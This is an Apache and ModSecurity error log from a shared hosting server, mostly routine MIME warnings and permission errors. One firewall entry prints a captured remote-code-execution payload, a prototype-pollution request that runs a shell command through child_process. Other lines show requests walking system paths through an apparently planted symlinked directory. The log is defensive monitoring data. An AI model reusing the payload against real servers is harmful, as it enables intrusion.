[Fri Jul 17 08:13:05.789500 2026] [security2:error] [pid 1993619:tid 1993619] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/pcre2-devel/html/pcre2_match_data_create.html"] [unique_id "almWuY1dLClkUfK_dfHeigAAAAI"]
[Fri Jul 17 08:13:05.789531 2026] [security2:error] [pid 1993619:tid 1993619] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/pcre2-devel/html/pcre2_match_data_create.html"] [unique_id "almWuY1dLClkUfK_dfHeigAAAAI"]
[Fri Jul 17 08:13:05.875497 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:05.967062 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:06.057754 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:06.149192 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:06.238354 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:06.331288 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:06.425204 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:06.515992 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:06.608753 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:06.611366 2026] [ssl:error] [pid 1994966:tid 1994966] (70014)End of file found: [client 66.85.158.91:55956] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:13:06.698768 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:06.795693 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:06.885053 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:06.990022 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:07.068320 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:07.159299 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:07.257104 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:07.350972 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:07.438544 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:07.529945 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:07.622784 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:07.805984 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:07.997106 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:08.178629 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:17.723390 2026] [security2:error] [pid 1993715:tid 1993715] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almWxHRlmrtCoY_COpcfwAAAAAg"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1125&page_105=1904
[Fri Jul 17 08:13:17.723428 2026] [security2:error] [pid 1993715:tid 1993715] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almWxHRlmrtCoY_COpcfwAAAAAg"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1125&page_105=1904
[Fri Jul 17 08:13:22.507150 2026] [security2:error] [pid 1993584:tid 1993584] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almWylxP5-SsqbGuGB2iQAAAAAA"], referer: http://www.anandaobauae.org/?C=S;O=Auploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 08:13:22.507188 2026] [security2:error] [pid 1993584:tid 1993584] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almWylxP5-SsqbGuGB2iQAAAAAA"], referer: http://www.anandaobauae.org/?C=S;O=Auploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 08:13:23.629963 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:23.953241 2026] [security2:error] [pid 2002425:tid 2002425] [client 216.244.66.235:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "bostonlanka.com"] [uri "/\\xe0\\xb6\\xb8\\xe0\\xb7\\x93\\xe0\\xb6\\x9c\\xe0\\xb6\\xb8\\xe0\\xb7\\x94\\xe0\\xb7\\x80-\\xe0\\xb6\\xb6\\xe0\\xb6\\xb1\\xe0\\xb7\\x8a\\xe0\\xb6\\xb0\\xe0\\xb6\\xb1\\xe0\\xb7\\x8f\\xe0\\xb6\\x9c\\xe0\\xb7\\x8f\\xe0\\xb6\\xbb-\\xe0\\xb7\\x83\\xe0\\xb7\\x92\\xe0\\xb6\\xaf\\xe0\\xb7\\x8a\\xe0\\xb6\\xb0\\xe0\\xb7\\x92\\xe0\\xb6\\xba/feed/"] [unique_id "almWy6UJv0yl2bIgVrkKtQAAABU"]
[Fri Jul 17 08:13:23.953666 2026] [security2:error] [pid 2002425:tid 2002425] [client 216.244.66.235:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bostonlanka.com"] [uri "/\\xe0\\xb6\\xb8\\xe0\\xb7\\x93\\xe0\\xb6\\x9c\\xe0\\xb6\\xb8\\xe0\\xb7\\x94\\xe0\\xb7\\x80-\\xe0\\xb6\\xb6\\xe0\\xb6\\xb1\\xe0\\xb7\\x8a\\xe0\\xb6\\xb0\\xe0\\xb6\\xb1\\xe0\\xb7\\x8f\\xe0\\xb6\\x9c\\xe0\\xb7\\x8f\\xe0\\xb6\\xbb-\\xe0\\xb7\\x83\\xe0\\xb7\\x92\\xe0\\xb6\\xaf\\xe0\\xb7\\x8a\\xe0\\xb6\\xb0\\xe0\\xb7\\x92\\xe0\\xb6\\xba/feed/"] [unique_id "almWy6UJv0yl2bIgVrkKtQAAABU"]
[Fri Jul 17 08:13:23.974586 2026] [security2:error] [pid 2002425:tid 2002425] [client 216.244.66.235:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "bostonlanka.com"] [uri "/index.php"] [unique_id "almWy6UJv0yl2bIgVrkKtQAAABU"]
[Fri Jul 17 08:13:27.070476 2026] [security2:error] [pid 2005917:tid 2005917] [client 47.251.42.6:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.91"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.91"] [uri "/"] [unique_id "almWz3f2WrySr2miwA701wAAABY"]
[Fri Jul 17 08:13:27.332542 2026] [security2:error] [pid 1994967:tid 1994967] [client 47.251.42.6:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.91"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.91"] [uri "/"] [unique_id "almWz0hq6UAnqYko0LpUbQAAABE"]
[Fri Jul 17 08:13:27.333102 2026] [security2:error] [pid 1994967:tid 1994967] [client 47.251.42.6:0] ModSecurity: Warning. Pattern match "(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[<>]\\\\(.*\\\\))" at ARGS:0. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "367"] [id "932130"] [msg "Remote Command Execution: Unix Shell Expression Found"] [data "Matched Data: ${res} 307 `}) _chunks:$q2 _formdata:{get:$1:constructor:constructor}}} found within ARGS:0: {then:$1:__proto__:then status:resolved_model reason:-1 value:{then:$b1337} _response:{_prefix:var res=process.mainmodule.require(child_process).execsync(pwd).tostring().trim() throw object.assign(new error(next_redirect) {digest: `next_redirect push/login?a=${res} 307 `}) _chunks:$q2 _formdata:{get:$1:constructor:constructor}}}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "66.85.158.91"] [uri "/"] [unique_id "almWz0hq6UAnqYko0LpUbQAAABE"]
[Fri Jul 17 08:13:27.336407 2026] [security2:error] [pid 1994967:tid 1994967] [client 47.251.42.6:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "66.85.158.91"] [uri "/"] [unique_id "almWz0hq6UAnqYko0LpUbQAAABE"]
[Fri Jul 17 08:13:27.336757 2026] [security2:error] [pid 1994967:tid 1994967] [client 47.251.42.6:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 8, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "66.85.158.91"] [uri "/"] [unique_id "almWz0hq6UAnqYko0LpUbQAAABE"]
[Fri Jul 17 08:13:27.530952 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:27.884982 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:28.023315 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:28.137546 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:28.366659 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:28.367272 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:28.599799 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:29.222826 2026] [core:error] [pid 1993671:tid 1993671] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup0/device/subsystem/devices/device:1f/eject
[Fri Jul 17 08:13:29.300864 2026] [core:error] [pid 1993572:tid 1993572] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup0/device/subsystem/devices/device:0b/eject
[Fri Jul 17 08:13:29.333553 2026] [core:error] [pid 1993659:tid 1993659] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup17/device/subsystem/devices/device:0e/eject
[Fri Jul 17 08:13:29.402090 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:29.421658 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:29.421768 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:29.421842 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:29.421903 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:29.421952 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:29.421973 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:29.485046 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:29.485771 2026] [security2:error] [pid 1993675:tid 1993675] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:60/subsystem/tty1/power/"] [unique_id "almW0TiSeFVxYLkcq6Ia1gAAAAc"]
[Fri Jul 17 08:13:29.485817 2026] [security2:error] [pid 1993675:tid 1993675] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:60/subsystem/tty1/power/"] [unique_id "almW0TiSeFVxYLkcq6Ia1gAAAAc"]
[Fri Jul 17 08:13:29.508275 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:29.578085 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:29.704442 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:29.973797 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:30.094896 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:30.225597 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:30.226256 2026] [core:error] [pid 1993715:tid 1993715] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup10/device/subsystem/devices/device:0e/eject
[Fri Jul 17 08:13:30.495816 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:30.540599 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:30.708466 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:31.045216 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:31.050751 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:31.050877 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:31.080305 2026] [security2:error] [pid 1993570:tid 1993570] [client 47.82.8.137:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:52/subsystem/tty36/power/runtime_suspended_time"] [unique_id "almW03jA8yK8B7kryx3e0AAAAAk"]
[Fri Jul 17 08:13:31.080343 2026] [security2:error] [pid 1993570:tid 1993570] [client 47.82.8.137:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:52/subsystem/tty36/power/runtime_suspended_time"] [unique_id "almW03jA8yK8B7kryx3e0AAAAAk"]
[Fri Jul 17 08:13:31.139616 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:31.453997 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:31.610216 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:31.795683 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:31.905510 2026] [security2:error] [pid 1994956:tid 1994956] [client 57.141.18.106:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory7/node0/memory68/node0/memory136/node0/memory127/"] [unique_id "almW0wG5-NXx3Mem1QgLcwAAAA8"]
[Fri Jul 17 08:13:31.905553 2026] [security2:error] [pid 1994956:tid 1994956] [client 57.141.18.106:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory7/node0/memory68/node0/memory136/node0/memory127/"] [unique_id "almW0wG5-NXx3Mem1QgLcwAAAA8"]
[Fri Jul 17 08:13:31.979883 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:32.162573 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:32.252817 2026] [core:error] [pid 1994967:tid 1994967] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/system/memory/memory133/subsystem/uevent
[Fri Jul 17 08:13:32.764390 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:32.959187 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:32.978360 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:33.088908 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:33.190739 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:33.246428 2026] [security2:error] [pid 1994967:tid 1994967] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almW1Uhq6UAnqYko0LpUdQAAABE"], referer: http://anandaobauae.org/?C=M;O=Duploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 08:13:33.246467 2026] [security2:error] [pid 1994967:tid 1994967] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almW1Uhq6UAnqYko0LpUdQAAABE"], referer: http://anandaobauae.org/?C=M;O=Duploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 08:13:33.301636 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:33.325982 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:33.363351 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:33.418498 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:33.468360 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:33.506220 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:33.517789 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:33.556097 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:33.581233 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:33.636973 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:33.648040 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:33.817357 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:33.910171 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:33.910418 2026] [core:crit] [pid 1994956:tid 1994956] (1)Operation not permitted: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/net/rpc/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/net/rpc/' is executable
[Fri Jul 17 08:13:33.910683 2026] [core:crit] [pid 1994956:tid 1994956] (1)Operation not permitted: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/net/stat/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/net/stat/' is executable
[Fri Jul 17 08:13:33.911323 2026] [core:crit] [pid 1994956:tid 1994956] (1)Operation not permitted: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/net/dev_snmp6/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/net/dev_snmp6/' is executable
[Fri Jul 17 08:13:33.911442 2026] [core:crit] [pid 1994956:tid 1994956] (1)Operation not permitted: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/net/netfilter/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/net/netfilter/' is executable
[Fri Jul 17 08:13:33.919042 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:33.948900 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:34.005210 2026] [core:error] [pid 1993675:tid 1993675] (1)Operation not permitted: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/lve/map
[Fri Jul 17 08:13:34.096454 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:34.195540 2026] [core:error] [pid 1994967:tid 1994967] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:10/eject
[Fri Jul 17 08:13:34.288895 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:13:34.379860 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
